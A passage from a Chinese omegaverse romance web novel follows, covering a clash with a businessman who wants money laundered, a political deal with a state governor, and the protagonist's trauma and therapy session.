林肯意想不到相召南会为桑也说话,有些没反应过来地站在原地,而相召南,也被自己无意中的话击中灵魂,愣在原地。 无人知晓的地方,相召南暗自握紧了拳。 脱口而出的话语是否让林肯有所感悟,相召南不清楚; 但实打实在他心口敲响了寺钟,一声铮鸣,让他突然醒悟—— 不是所有人都贪图那一点可怜的利益。 不是所有人都像林晓燕和相民那样。 相召南喉头突然涌出一口腥血。 桑也并非只把他当成治病的药方,在每一条讯息后面,都有一份等着他回家的期待。 而他固执地质疑那一份真心,最后将一缸甜酒酿得苦涩无比。 这话说给林肯听,却又何尝不是说给过去的自己听。 李由开解了他无数遍,都不如他情急之下脱口而出的话效果显著。 有预谋的劝阻,被他字字击破;脱口而出的言论,揭露了他内心最真实的想法。 自此,利益论最坚实的维护者站在了它的对面。 林肯被戳穿,也有些挂不住脸。 两个二三十岁的年轻人,对自己咄咄逼人,毫无尊敬,成何体统。 他抬起手杖重重一杵,“你是有本事,叫你前夫都远渡重洋来给你说话。” 第60章 相召南回头看向桑也。 在这个话题上, 他永远处于下风。 桑也漠然收回眼神,浓密的睫毛微微一颤。 “是林肯先生教得好。要不是林肯先生开导我,引领我, 我也不会和相召南纠缠至今, 不是吗?”他莞尔一笑, 似乎毫不在意。 林肯要他的热度去把油画价格炒起来, 不被怀疑地把几十亿洗干净,亲手把桑也和相召南捆绑在一起。 那现在相召南为桑也出头, 也只能算林肯求仁得仁。 林肯的目光在桑也和相召南二人身上流转, 带着审视与居高临下的高傲。 “既然你也承认是我教得好,我们何不坐下来好好谈谈?” 桑也微微挑眉。 未曾想他们之间居然还有坐下来好好谈谈的空间。 “我还有一笔钱, 你帮我处理干净, 我让利这个数。”林肯比出一个数,五成。 桑也彻底笑了。 竟然还想着拉他下水。 他尚未开口, 相召南便厉声道:“林肯先生想必是年纪大了, 脑子不清醒。不是所有人都贪图那点蝇头小利,这个观点还不够鲜明么。” “几十个亿,我们想要, 多的是清白路子,何必去趟浑水。” 林肯看着说话的相召南, 心中不屑, 又转向桑也, 见他没有半点表示, 明白这二人是一个意思, 冷哼一声。 “既然你决意要和我对着干,那你就要承受住后果。”他眼里藏不住的是愤怒和嘲讽。 桑也心中一沉,谈崩了。 不过也在预料之中。 只是后面的形势, 恐怕难捱。 林肯转身就走。 桑也悠悠开口: “如果你真的爱他,就该在他误入歧途的时候纠偏,而不是到现在——” “姗姗来迟。” 林肯被戳中了心事,扬手一挥手杖,打在门框上发出震响,躲在办公室外的几个职员吓得头都缩了回去。 “你还没资格来教我!” 等林肯离开,乌泱泱的脑袋才回到他们的办公岗位上去。 桑也顿时浑身泄力,靠在椅背上。 得罪了林肯,但能不能废除那道合同还是未知数。 和谈谈不下来,又不可能在林肯面前玩舆论,整个M国的流媒体可都在他的控股之下,那就只能……硬走法律手段了。 可惜这也不是条好道。 密闭的办公室,明亮但并不温暖的阳光,让两道呼吸格外缠绵。 桑也仿佛能听见另一个人的心跳声。 吵死了。 他烦闷地想。 扭头看去,却见相召南一脸悲痛的样子。 尽管站立着,却仿佛浑身蜷缩在一起,面部的表情更是复杂难辨。 桑也目光停留在脏兮兮的纱布上。 “不是叫你去医院处理下吗?” 相召南这时才被他唤醒,慢慢转动脖颈,面向桑也。 他张了张口,似乎有千言万语如鲠在喉,却悉数被他咽下,只说了句:“身份证,被偷了,去不了医院。” 桑也露出看傻子一样的表情。 “身份证被偷了你不知道用虚拟卡吗?我记得我捅的是你的腺体不是你的脑子吧。” 相召南彻悟般眼睛一亮,随后又暗淡下去。 他满脑子都是桑也,身份证被不被偷他也不会去医院。 桑也捂着脸,真是欠他的。 噌地站起身来,朝着门外走去。 见身后没有动静,又转身:“愣着干什么。” 相召南起初有些犹豫,反应过来之后立马跟上,也不顾自己后颈的伤口,快步赶来。 到了车上,桑也一言不发,仿佛只是承担施害者应该负有的责任,此外别无关系。 相召南不关心自己的腺体伤,反而全程看着桑也的侧脸,神情专注,不知道的还以为他在欣赏什么世间美景。 桑也被盯得心神不宁,“怎么回事?” 相召南立马道: “你走了之后没多久就有一个流浪汉Alpha冲过来抢我的手机和钱包。” “我腺体受了伤,左手没力,只能让他把钱包抢走了。但好在他抢了钱包之后,没有再折返回来抢手机,我才能打车到成安来找你。” 相召南说话时声音低哑,在狭窄的车内显得闷闷的,还有些可怜。 桑也却不领情。 “没用的东西。” 相召南一愣,随后点头承认了。 桑也本想把人带到医院就丢下不管,结果M国医疗服务实在拥挤,得知他们的需求只是换个纱布、上点止痛药后,护士竟然把他们领到房间,让他们自己换。 相召南自己肯定换不了,那就只能让桑也动手。 桑也下手毫不留情,面前沾着止痛药就往伤口上戳,相召南不知道是真疼还是假疼,时不时发出“嘶”的一声。 两道剪刀造成的伤口尚未愈合,翻起来的肉已经变白,充满神经的腺体把上药的疼痛放大了无数倍。 “你属蛇?嘶个不停。” 相召南“哦”一声,没再发出噪音。 结果桑也上好药,转到他身前的台面取出纱布,转身一看相召南的下唇已经被他咬出印子,唇色泛白。 桑也心中蓦地一抽。 但他很快抑制住翻涌的情绪,转到相召南身后用纱布把伤口包扎起来。 因为伤口的后颈处的腺体,包扎纱布时他不得不来回转,相召南那张因为疼痛而变得惨白的脸也不停地浮现在他眼前。 最后,他站在相召南面前,给绕好的纱布打结。 不知为何,见到相召南痛楚而隐忍的神情,桑也内心止不住地烦躁。 于是他一抬手,纱布便紧紧牵扯着伤口。 相召南整个上半身一颤,张了张嘴,喉头迅速上下一滚,似乎马上就要痛哼出声,但被他吞了回去。 “是不是觉得还是有个离不开你病在我身上好,这样,你也不用被我如此残忍对待。” 桑也转身,在台面上收拾用过的道具,剩余的纱布,沾着药的棉签,和擦拭药水的纸巾。 他身后,相召南的声音迟迟响起。 “不,我不想再看见你的痛苦和狼狈。” “你剜除腺体的时候,比我现在痛得多,难受得多,这是我欠你的。” 相召南定定地看着桑也的背影,似乎看见桑也高挑瘦削的背影有零点几秒的停顿。 那一瞬间的停顿,仿佛奖赏,让相召南心脏恢复了跳动,迅猛而有力。 但又不甚明晰,恍惚间好像只是他的错觉。 桑也把手上的医疗废物悉数丢尽垃圾桶,哗啦啦的落地声遮盖住了相召南喃言:“桑也,其实你也……” 会心疼的吧。 他说得小声,生怕被人听见再次用冰冷的话语戳破他的幻想。 桑也似乎真的没有听见。 带着相召南从医院离开,去了跨国银行办了挂失。 出了银行,桑也便打算分道扬镳。 结果相召南跟甩不掉的狗一样,拉着他的手腕说: “我没有身份证,今晚住不了酒店。” “那就买机票回国。” “可是我易感期还没有结束,你知道的,我现在腺体受伤,没办法打抑制剂……” 桑也实在受不了他这一副可怜兮兮的样子,高贵的霸总路数不起作用改行演可怜受害者了是吧?! 他个子高大,露出那样的委屈神情,引来路人投以审视的目光,好像自己真的是某些仗着易感期欺负人的恶劣Omega。 “我没有腺体,你缠着我也没用。” 却见相召南登时眼前一亮,焦急道:“有用的,你让我抱一会,比什么抑制剂都有用……” 桑也忍无可忍,却又没办法,只能忍着恶心把人领回了自己先前在M国的住所。 房子依旧是那套房子,只不过当初是租赁,后来被他买下。 他特意放慢了脚步,让相召南走在前面,看着他驾轻就熟找到地方,不自觉攥紧了拳。 很难以形容的感受。 他竟然真的跟踪了自己三年。 这句话背后的情绪,像沙里掺了糖,又搅和到盐里面,让人分辨不清。 对自己被暗中窥伺三年的后怕,对信赖的人出卖自己的愤怒,对相召南默默关注他三年的难以置信,对一向孤行的人居然真的听话没有来打扰他的怀疑,对过去自己渴求的爱惜在事后不要钱一般倾泻而来的酸涩…… 让他一时间难以对这件事做出评价。 也不知道该用什么样的心情去面对。 把人带回家后,桑也就钻进书房,和不同的人打电话,询问他们手中能用的人脉,想给成安找一条出路。 最终一无所获。 凌晨一点半,相召南敲响了书房门。 不睡觉,干什么呢。 桑也回头看向他。 “腺体痛,睡不着。能不能……” “你还要工作吗。那我不打扰你好了。”说完自己就要退出书房。 桑也揉了揉眉心,的确困怠不已。在飞机上就没有好好休息,又熬了夜,已经有些打不起精神。 算了。 他起身到客厅,站着不动。 意思是让相召南要抱赶紧抱,抱完滚去客房睡觉。 结果相召南说:“你去睡觉吧,我在床边看着你就行。” 也不知道是不是熬太晚脑子不清醒,桑也竟然真的答应了。 ——事后他也怀疑自己脑子抽了。 等他躺上床,果然看见相召南顿在床边。 偌大一个Alpha,像无家可归的流浪狗,蹲在饭店前面嗅动鼻翼偷闻传出来的饭香。 桑也背过身去,不看他。 窗户没有拉严实,月光明晃晃刺眼。 桑也坐起来,缓了十几秒钟,正要起身把窗帘拉上。 被相召南捷足先登。 拉上窗帘后,相召南又蹲回原来的位置。 桑也叹了一口气,“算了,上来吧。” 搞得好像他在虐待病号。 而这个病号的伤口还正是他一手造成的。 相召南得令,立马爬上床来,似乎没有丝毫动手动脚的想法,板正地躺在床的另一侧。 夜里降温极多,稍微露出一点胳膊就能让人直打哆嗦。 不知过去多久,桑也仍是清醒着。 他习惯了侧睡,又恰巧喜欢右躺着,所以不管是向左躺着,还是平躺着,都让他难以入睡。 最后,他见相召南呼吸平稳,应该是已经入睡,才翻身面向他,棕色的双目扫视了一眼那张俊朗的脸。 轻声道:“相召南。” “我恨你。” 凌晨四点。 桑也熟睡。 手臂露在床被外面。 相召南给他盖好被子,把人拢进怀里。 “恨我吧,恨我吧,别不理我。” “我爱你就好。” 腺体源源不断传来的疼痛和易感期对Omega的渴望都可以被治愈。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 桑也醒来时, 周遭一片静默。他掀开被子起床,在房子里简单绕了一圈,并没有见到相召南。 甚至连浴室都检查了。 但是在餐桌上发现了一份早餐, 一个对半切的三明治, 夹着培根和生菜叶, 还有一杯牛奶, 盖着盖子。 桑也的目光落在餐碟下面压着的一张纸条。 他抽出来,上面写着一串数字, 和几个大字: 【如果你想联系我。】 以及一行小字: 【牛奶冷的了的话记得加热。】 桑也把纸条丢在一边, 坐下来,随意靠在椅背上, 拿起三明治嚼起来。 吃了一半, 有点噎,又喝了口牛奶, 但是他偷懒, 没热牛奶,冰冰凉的液体从口腔滑过喉咙进入他的胃,激得他连指尖都一抖。 勉强再吃了几口, 他把剩下的早餐倒掉,准备回书房继续联系人。 路过餐桌, 顿了顿。 桑也捡起被他丢开的纸条, 指尖在字迹上摩梭了几下, 最后拿出手机发了条信息: 【在哪。】 几乎是秒回, 相召南发来一个定位, 附言: 【和乔斯谈话。】 【你来吗?】 乔斯……? 圣劳伦斯的州长? 他们什么时候扯上关系的? 桑也心里不解,但知道这绝对是个好机会,回复: 【嗯。】 随后放下手机, 五分钟洗漱,换衣,抓了下头发,便出门了。 定位的地点离桑也的住所并不远,他驱车不到十五分钟便抵达了。 在一个高端会所,周围似乎被清场,没什么人走动。 桑也进去时,没有人拦截。 一路走到一间房门掩着但并未紧锁的房间,桑也抬手握住门把手,还没推开门,便听见了里面的谈话声。 桑也能听出相召南的声音,没有再比对房间号就能确认这就是乔斯所在的地方。 但是…… 他回头望了望周围,看起来没什么人,但实际上仔细看来有几个穿着正装的Alpha在五米开外的位置来回踱步。 应该是保镖。 这个距离,又恰好保证即使开着门他们也听不见谈话内容。 这个开着的门,或许就是给桑也留的。 不知道出于什么样的顾虑,他并没有第一时间推开门,反而做出了窃听的举动。 一阵笑声后,“林肯是块硬骨头,可不好啃啊。” “正是因为他是块硬骨头,把他啃下来,才算您的实绩。比您辛苦几年都有用。” “您放心,和林肯生嫌隙导致圣劳伦斯政府获捐减少的问题,以及圣劳伦斯这几年的基建规划,相氏都会鼎力相助,不会让州长先生白跑一趟。” 里面沉默了一会。 乔斯似乎在衡量,孰轻孰重。 非法资产的处理一直是他工作的核心,也是他继续选举的筹码,但因为几个巨头压在前面,这项工作推进得十分艰难,他也积怨已久。 但怨归怨,真要放开手去处置,光靠怨气可不行。 如果有相氏托底,的确可以考虑。 乔斯说:“这风险不是一般人能够承受的。” “州长不是什么一般人。”相召南似乎在笑,“我也不是。” “投资……”乔斯顿了顿,还在权衡,“我考虑考虑。” “不用考虑了。” 屋内人双双一愣。 桑也推门而入,并没有接着往下说,反而仔细关上门,才面向乔斯:“如果再加上新桑科技关于腺体移除手术后遗症靶向药物开发项目的合作伙伴关系,乔斯先生还要再考虑考虑吗?” 他脸上含着浅笑,身姿挺拔,随手一抓的头发恰到好处,一身冬衣非但不显得他臃肿,反而让他看起来脆弱而坚韧。 乔斯意味深长地看着他,随后站起身来,和他握手。 坐下后,他迫不及待地询问:“你们在做这方面的研发?” 其实桑也也是昨天才临时得到的消息,桑守安说陆让简提出了新思路,他找了不少医药研发的专家都表示可行度还挺高,便高高兴兴地跟同样受到后遗症折磨的弟弟分享喜悦。 但桑也必定不能说这事还只是个计划,诚恳地点头:“自从受到极端Alpha恐吓导致腺体移除相关研究都被叫停后,AO矛盾愈发严峻,Omega对腺体移除手术的需求增加,如果能研制出后遗症对症药物,或许腺体移除手术的研究能够重新抬上日程。” “无论这个药物能不能成功问世,消息一但散播出去,Omega对于选举的热情必将成为州长先生连任的重要助力。” “州长先生也不想选票拱手让人吧?”他说得真诚,倒是没有多少威胁的意思,乔斯听了也没有沉脸。 若说方才的投资只是让乔斯动了一丝念头,桑也的话便让他几乎是立刻就坚定了想法。 他是Alpha,理应和Alpha站在一方,但他更是州长,不关乎所谓的仁义道德,纯粹从自身利益出发,在AO矛盾如此尖锐的情势下,把自己和支持Omega从Alpha身边独立出来的科学研究联系在一起,能让他下次选举的成功概率上升起码十个点。 只要能连任,林肯又算得了什么?他再厉害也不过是个商人,再多错综复杂的政治势力也不过是他的下属。 唯一让他担心的是…… “腺体移除手术几乎没有人做,后遗症治疗药物完全没有市场,你们说的,别不是在诓我?” 乔斯开玩笑说出疑虑。 相召南闻言,面色一僵。 市场就在他身边。 由他亲手缔造。 他几乎是心生胆怯,不敢看桑也。 然而桑也早已习惯,甚至能坦然地开着自己的玩笑。 “谁说没有市场?我就是最大的市场。只要我需要,大哥就是砸锅卖铁也会把它做出来。” 乔斯顿时微微抬头,露出了诧异的神色,随后消失。 在桑也来之前,他和相召南的谈话中,相召南告知了他还有一位来客,那时他知道了这个人的情况。 但却没把他和网上那个颇有热度的残疾Omega联系起来。 只是觉得有些眼熟。 到现在,他才恍然明白过来,这二人之间的恩怨纠缠。 乔斯拊掌,“好。既然如此,那我也不多浪费时间。” 他起身,桑也和相召南跟着站起来。 乔斯走到桑也身边,欣慰地拍了拍桑也的肩膀,状似无意道:“有什么麻烦,只管交起诉状,我们圣劳伦斯的法院一定会公平公正、合情合理地判决,绝不让人失望。” 桑也笑着送别乔斯。 等人坐上车,他竟感到浑身一松,心口里堵着的气长舒而出,令他焦灼几天的事情总算是有了一点希望。 他给沈惟岸打了个电话,让他去和圣劳伦斯政厅对接。 打完电话,转身发现相召南还在他身边矗立着,一动不动,像根电线杆。 相召南比他高些,站在他身侧,垂着眼眸注视着他,不知道是不是低头的动作挡住了脸上的光亮,竟让他深沉的长眸中显现出一丝情深意重。 桑也一言不发,抬腿就走。 刚坐上主驾驶座,相召南便灵活地钻进了副驾驶位。 桑也沉默了一会,没把他赶下去。 车辆行驶到小区车库,下了车。 相召南又亦步亦趋跟在桑也身后,活像个保镖。 桑也有些烦躁地回头了好几次,每次他一回头,相召南就仿佛被施了定身咒站在原地,直勾勾望着桑也。 终于,桑也忍不住,停下来堵在相召南身前。 他张口,想要驱逐的话又被堵了回来。 怎么看人家都刚刚才帮了忙,要是这么快翻脸不认人,是不是太不合理了些? 又想,相召南也没觉得艹完他就把他丢在车库有什么不合理的,他为什么要在意这么多。 思来想去又觉得,相召南是相召南,他是他,因为相召南的恶劣行径,违心地将自己变成那样的人,到底是对谁的惩罚? 几度启唇,最后只吐出一句:“谢了。” 相召南登时变得明亮起来,似乎能把昏暗的车库照得亮如白昼。桑也仿佛还能在他身后看见不停摇动的狗尾巴。 相召南说:“不用谢。” 回到家中,简单吃了顿饭,桑也又去了成安。 交代代理律师起诉方面的事情,又让成安的职员注意网上的舆情。 来的时候他查看过了,因为自身热度炒得高,目前怀疑他们成安洗钱的网友并不多,只零星几个提出了质疑,大部分人还沉浸在先前林肯放出去的照片带来的争论之中,源源不断为他贡献热度。 但事情错综复杂,不到最后谁也说不准,小心总是好的。 一直到夜间十点,桑也才回家。 相召南不知什么时候出去,买了菜,做了饭,守着大门等桑也回来。 桑也今日心情好,没说什么你做的饭我嫌恶心吃不下诸如此类的话。 吃饭到半途,相召南去阳台接了个电话,回来时脸色变得阴沉了许多。 相召南不爽,桑也心里就爽了。 他夹起一筷子青菜,随口一问,“怎么了?相氏破产了?” 相召南抬眸,盯着他,“相氏破产对你来说可不是个好消息。” 桑也没说话,良久,相召南才低下头,看着自己的碗口,道:“相渡南感染了疟疾。” “哦,这对你不是好事一件吗。” 相召南不动声色地用余光偷觊桑也的神色,见他没有反应:“你不心疼?” 桑也斜睨了他一眼。 相渡南感不感染疟疾跟他有什么关系,没离婚前他是相渡南的嫂子,离了婚他们什么关系也没有,还要他装模做样嘘寒问暖几句不成。 却见相召南小心翼翼道:“他要回国,这个理由我压不住。” “你……” 电话铃声响起,打断了相召南的话语。 桑也接起电话,是大哥。 “耶耶,我们的案子今天上午出了结果。半小时前,上面已经对陈张动手了。” 第62章 这的确是个好消息。 顾不得相召南还在他面前, 桑也稍显圆顿的双眸微微一弯,薄粉色的唇瓣抿出一个自然的弧度。 “终于等到这一天。”桑也右手上的筷子敲击着碗,发出清清浅浅的脆声, 像是古老的乐器迎来轻盈的敲击发出跨越时间的乐声。 “你消息还挺灵通。”他打趣。 因为这个来自国内的好消息, 桑也连带着对相召南的脸色都好了些。 当然, 相召南易感期严重抱着桑也时用牙齿磨咬他后颈空落的部位时, 还是结结实实挨了他一巴掌。 陈张的事情有大哥盯着,沈惟岸和乔斯的接洽也十分顺畅, 桑也便没有急着回国, 而是在M国留了一周的时间,仔仔细细排查了和林肯打官司可能存在的意外, 确保万无一失, 才在第二周飞回国。 回国的第一天,老大蹲在桑也面前嗷嗷叫了一个多小时, 似乎对桑也把它抛在家里怨气颇深。 家里阿姨说, 他出国第一天老大就一直蹲在门口盼着他回来,天天熬大夜等着,实在是困得不行了才趴在门口睡觉, 第二天两眼一睁又是等。 连着熬了几天狗耳朵狗尾巴全都耷拉下去立不起来了。 桑也抱着老大的脖子说了好一阵好话才把狗哄好,纳闷得很, 他之前在M国偶尔出差, 也是一周打底, 也没见老大有这样的反应。 阿姨对它不好? 趁着阿姨去厨房做饭, 桑也查看了这几天的监控。 监控无死角, 能看见阿姨对老大可谓是好吃好喝当祖宗一样供着。 桑也搓着老大的嘴筒子,冥思苦想。 老大似乎被他捏得受不了了,凑到他脸边想蹭他, 结果又嗷嗷叫起来。 这一叫,桑也还以为自己把老大捏痛了,刚想摸摸老大的脑袋跟他说抱歉,突然意识到了什么。 他的目光落在老的湿漉漉的鼻头上,看见它因呼吸而微微翕动。 桑也两指捏着自己大衣的领子,细细嗅了一下。 没味。 不过,狗鼻子比较灵。 ……闻到相召南的味道也很正常,对吧? 这样一想,瞬间就明白了。 自从那个雷雨夜他把相召南的腺体捅伤跟着去了医院后,他就一直在医院守着,后来相召南清醒了,他回家换衣服,换完衣服就出国。 出门前,老大估计是闻到了他身上的相召南味,误以为他出去跟相召南“鬼混”,现在回来身上还有相召南味,坐实了“鬼混”,才这么气愤。 而老大对相召南这么不满…… 难道是因为那三年在国外,老大莫名其妙对着空气嚎叫,其实是发现了相召南? 但是因为桑也没有重视,它背了乱叫的黑锅。 才对罪魁祸首怨气深重。 桑也恍然大悟。 郑重其事地跟老大表示了歉意,并许诺他这三天每天可以多吃一个罐罐。 老大似乎有点犹豫。 桑也加码,一周。 老大立马咧着嘴答应了。 桑也拍拍硕大的狗屁股,老大摇着梆硬的尾巴就下楼找阿姨要罐罐去了。 等老大走了。 房间只剩下桑也一人。 挂钟嘀嘀嘀。 一声。 两声。 三声。 桑也脸上的笑容逐渐变样,不再如暖春般和煦。 反而像廉价低质的人像雕塑,技术糟糕的雕刻者只能模棱两可雕出大致模样,却无法复刻复杂的肌肉线条,以至于人像笑容僵硬,如同一个活生生的人被束缚在面具之下,满腔生机被围困在雕像中最后炼化为戾气从每一个毛孔中散发而出。 自心底而生的忧虑和后怕,恰似阵阵拍岸的浪,一波又一波,令他背脊生寒。 ——他是不是和相召南走得太近了? 难道忘了,相召南的所作所为。 拨打不通的电话,滴滴答答的忙音,狠厉无情的质问,面无表情的嘲讽。 难道忘了,逝去的希望和生命。 明亮的灯光和空旷的白色房间,有条不紊的指挥和利刃剜过血肉的碎响。 难道忘了,他曾经吐露的真心是要相召南永远不再相见。 他怎么能背叛? 从他身体里剜出去的两块肉。 一道道画面从眼前闪回。 电闪雷鸣的夜晚,他声嘶力竭质问相召南为什么。 桑也惊醒,心脏剧烈跳动,仿佛有了自己的生命,要穿破胸腔。 他捂着胸口,久久没有回神。 额角冷汗涔涔,濡湿了头发。 维持着身体不动的姿势,他探出手,慢慢地摸到了床头的手机。 刺眼的手机屏幕光。 凌晨三点。 桑也躺下。 再也不敢闭上眼。 挂钟滴答滴答。 就这样睁着眼,躺到了天明。 下楼吃饭时,阿姨吓了一跳,手里的碗差点掉地上,惊诧地问:“先生,你眼睛怎么这么红?是不是熬夜了?” 布满红血丝的双目格外瘆人。 桑也愣了一下,移开视线,“很吓人吗?” “那可不,老红了。”阿姨把手上东西放在桌上,“我去拿毛巾沾冷水过来给你冷敷一下,这红得太厉害了。” 阿姨没一会便回来。 桑也没让她帮忙敷,自己接过毛巾,捂在眼睛上。 冰冷和刺痛一时分不清楚。 大约三五分钟,桑也取下毛巾,把毛巾递给阿姨,顺便交代她:“待会打扫房间帮我把卧室里的挂钟取了吧,太吵,我睡不着。” 阿姨拿了毛巾,“行,我现在就去,免得后面忙起来忘记了。” 早餐是一个圆圆的水煮蛋,和一碗暖洋洋的美龄粥。 嫩黄色的蛋黄被薄薄一层蛋白覆盖,看着晶莹剔透。桑也用铁勺子插进蛋黄里,把整个水煮蛋撬起来,小口咬着周围的蛋白圈。 阿姨从楼上下来。 “先生,你房间里没有挂钟啊?” 蛋黄扑通掉进糖水里。 咕噜咕噜,似乎溺毙了。 桑也没有回头,只是看着沉入水中的蛋黄。 小声“哦”了一句。 “根据你的描述,基本可以确诊是迟发型创伤障碍,像失眠、闪回、噩梦、痉挛,都是创伤障碍的常见症状。” “早期没有特别明显的表现,只是睡眠质量不好,随着时间推移,加上刺激诱因的反复出现,应激反应变得剧烈,才被你意识到。” 李由停下手中的笔,对桑也说。 方才,他听桑也讲述了他身上发生的异常,将有用信息都记录在册,稍作整理,便得出了答案。 桑也不知道说什么,只是看着医生。 李由问他:“陆让简很早之前就跟我说他把我的名片给你了,怎么现在才来?” “工作忙。” 李由摇头,“你抗拒看心理医生?” “唉,我知道你们都觉得看心理医生是案底……” “真不是……” 李由见他不经逗,正了正神色。 “那来找找你的病因?”他看向桌上的记录册,“你现在对你口中的‘他’是什么样的感受?” “一定要问这种问题吗?”桑也微微皱眉。 李由做了个投降的姿势。 “别误会,我绝对不是对病人的私事八卦多感兴趣,也无意探究病人隐私,但我想要弄明白你的病因,总得掌握下具体情况。” “当然,如果我的问题让你感到冒犯,你可以不回答我。” “我看网上其他得了ptsd的人,要么是被车撞了,对车应激,要么是对撞见了不该见的画面,对某个人应激,左不过这一类。” 桑也盯着李由,脊背挺直,坐姿端正。 “我对相召南应激,病因不就是他那些所作所为吗?” 桑也自以为逻辑严密的一段话,却引起了李由的一声轻笑,倒没有讽刺的意味,而是自豪甚至骄傲。 李由说:“桑先生,我,咳咳,整个S市排得上号的心理医师,要是这么简单的病因还要靠询问,那我干脆下岗得了。” “显然,你说的并不成立。” 桑也顿时面色一凝。 “……什么?” 李由摇了摇手中的册子。 “还是跟着我的思路来?” “你对他的感受如何?” 桑也眸光闪了一下。 “……恨。” 李由露出了探究的神色,“那你认为现在的他爱你吗?” “当然不。”桑也毫无迟疑,“他只是发现自己做错了事,或许是出于鲜有的廉耻心,想要对我进行弥补。可我不需要。” “哦,也不一定。说不定连弥补都不是,只是玩玩?等我原谅了他,我又将失去什么呢?” 桑也说话的语气和声调似乎十分轻松。 但仔细观察他面部表情的李由还是从他紧绷的咬肌看见了他内心的紧张与不安。 随着话语如河流淌出来,那股力量在他的下颌处不断积蓄,形成将要决堤之势。 但李由并没有否认他的话,转而问:“什么样的行为能让你认为一个人爱着你?” 桑也睫羽颤了一下,没有说话。 等待二十秒之后,李由知道等不到这个问题的答案,又问:“你的需求是什么?” 这个问题桑也倒是张口了。 “他不要再出现在我面前。” “可你接受了他的投资,那就避免不了见面。” 桑也闻言,歪了歪头,眼里浮现出不信任。 “你知道?” “新闻里看到的。”李由解释,“吵挺凶,想看不见都难。” 桑也抿了抿唇。 这好像怪不得这个医生,算了。 “那就要他不要纠缠,像个陌生人,做个合格的前任。” 李由却笑着摇头:“我们无法约束限制别人的行为。” 桑也皱眉。 李由立马接上:“但我们可以控制自己,也能改变自己的认知。” 桑也的神色有一瞬的放松,但很快显现出疑惑,最后聚起眉: “错的是我吗?” “当然不是。但没办法,我只是个心理医生。如果他对你的伤害到了造成生命、金钱损失的地步,或许你可以考虑申请保护令。” 见桑也没有说话,李由又问:“你还爱他吗?” “怎么可能。” 桑也好看的眉头压得很低,仿佛听见了什么肮脏的词汇。 然而李由却意味深长地点了点头,“桑先生,虽然这句话可能会引起你的不满,但我必须说——” “其实你还爱他。” 桑也立马站了起来。 眉头紧锁,“或许我该质疑你的从业资格证。” 李由似乎经历了许多类似的情况,甚至有些感慨地说: “你情绪是真的挺稳定的。别的人听了不愿意承认不愿意接受的话,不是要砸我的花瓶,推我的沙盘,就是要掀我的桌子。” 桑也视线移向桌边的一个纯白花瓶,慢慢伸出手。 “上了502,你想砸也不行。”李由笑道。 桑也顿时感到一种荒谬怪诞的幽默。 这一打岔,刚才听见那句“其实你还爱他”心中腾升而起的暗火也渐熄了。 “坐下来,我慢慢分析给你听?” 桑也调整了下呼吸,半信半疑地重新坐下。 就当是听听这个医生还能说出什么离奇的话语。 “如果你真的对他恨之入骨,就不会三番五次退让,你不是一个爱财的人,我没说错吧?” “潜意识里,你渴望得到他的爱,但是——你先别急着反驳我,但是,理性上,你坚持认为他会再度给你带来伤害,甚至不只是对你,还包括你身边的人。他过去曾伤害过你身边的人,对吗?” 桑也眼神躲闪了一瞬,嗯了一声。 “那就没错。过去的事情让你害怕重蹈覆辙,尤其是害怕他会伤害到你身边无辜的人,对过去受伤害人的愧疚让你的恐惧经年不散。” “就像你说的,如果他只是玩玩,你没有什么可失去的了。” 李由时刻注视着患者的面部表情,只见桑也随着他话语不断推进,双目变得空洞而深邃,仿佛掉进了某种情绪的深坑里爬不出来,只能任由忧郁在他的面上如溶溶月色缓缓流淌。 他接着推断:“这种对他靠近的害怕和深藏在潜意识里的渴爱,生理上的熟悉和心理上强行的疏远,让你过得很矛盾。” “尤其是当他表现出忏悔,透露出你们还能重归于好的可能性时,你的害怕外化为应激反应来提醒你。” “你不是不爱了,而是爱得很痛苦。” 桑也赫然抬头,双目紧盯着前方。 车水马龙。 “还记得你第一次见到他是什么场景吗?” “……” “七年前,莱恩公学礼堂侧门,他给了我一颗橘子味的水果糖。” “七年前的事情,经历了这么多痛楚与折磨,你却连细节都没有忘却。” “……” “认清,承认,坦然,才能帮你用理智战胜生理反应,你的情况,在我看来就是我刚才说的那样。想要治疗,也不必上什么药物和仪器,要么不爱了,要么不怕了。” “如果你有了新的反驳理由,可以随时再来找我。” 绿灯亮起,桑也行尸走肉般穿过斑马线,挤出人流,坐上自己的黑色雷克萨斯。 却迟迟没有启动车辆。 半小时后,他在手机上下单了一次代驾服务。 二十分钟后,雷克萨斯启动了。 代驾司机是个Beta,上了车兴冲冲道:“老板,你这车真不错啊,落地多少个哇?” 桑也缓缓抬眸,在后视镜中和Beta司机对视,不知为何那司机突然瑟缩了一下,连忙移开目光,再也没说一句话。 安静的车内,桑也深深闭上眼。 脑海中还回荡着李由的话。 “你期待他做出勃然大怒的举动,这样才能给彻底死心增加筹码,才能彻底说服自己不去理睬,但他不如你意,于是就陷入了左右互博的困境。” 不—— 圣劳伦斯的冬日照耀下,客厅里一个身材高大的Alpha凑到另一个稍矮一些的残疾Omega,或者说Beta身边,不由分说把自己的头放在对方肩颈处。 Beta推了几下,没推开,便叹息着任由其所为。 结果,Alpha突然张开唇,露出尖利的牙齿,剐蹭那片原本娇嫩无比的肌肤,似有无尽欲望将要倾泻而出,但动作又无比可知,轻柔而怜惜。 然而他的怜惜并没有让Beta放他一马。 只见Beta揪着Alpha的后发,将人瞬间抬起,在Alpha瞪大的长眸注视下,骤然伸出另一只手掐住Alpha的脖子。 掌背骨骼凸起,形成一道道凛冽的线条,削剪得圆润的指甲因为用力至深而嵌入Alpha脖颈的肤肉中。 点点血珠渗出来。 却不见Alpha有丝毫挣扎的意图,反而平静地望着Beta。 时间仿佛静止,二人僵持着。 最后,不知道过了多久,Beta一瞬间蓄力,将Alpha从自己身前推出去。 仿佛用尽浑身力气,力道之大,令Alpha踉跄了好几步,撞到身后的墙才站稳。 不是的—— 桑也无可奈何地叹息。 …… Beta从斑马线走向停车库。 在对面,一位Alpha停下车。 注视着Beta的背影,许久后,才停好车,进了医院。 李由将人送走,心中感慨万千。 话说到这里,让他看清自己内心,至于到底是放弃爱还是放弃恐惧,那就是他自己的选择了。 他刚把文件整理好,放到咨询室后面的资料架上,房门再次被推开。 “李医生。” 李由闻言,走出来。 是相召南。 “相先生,问题还是没有缓解吗?” “好些了。”相召南欲言又止。 李由看出来他有话要说,没有打岔。 相召南终于是忍不住。 虽然打听消息的事情很不道德,作为心理医生,李由也多半不会泄露任何信息。 但他还是想问:“桑也刚才来咨询你?” 心理科的医生并不少,相召南能这样问,自然是认可李由的水平。 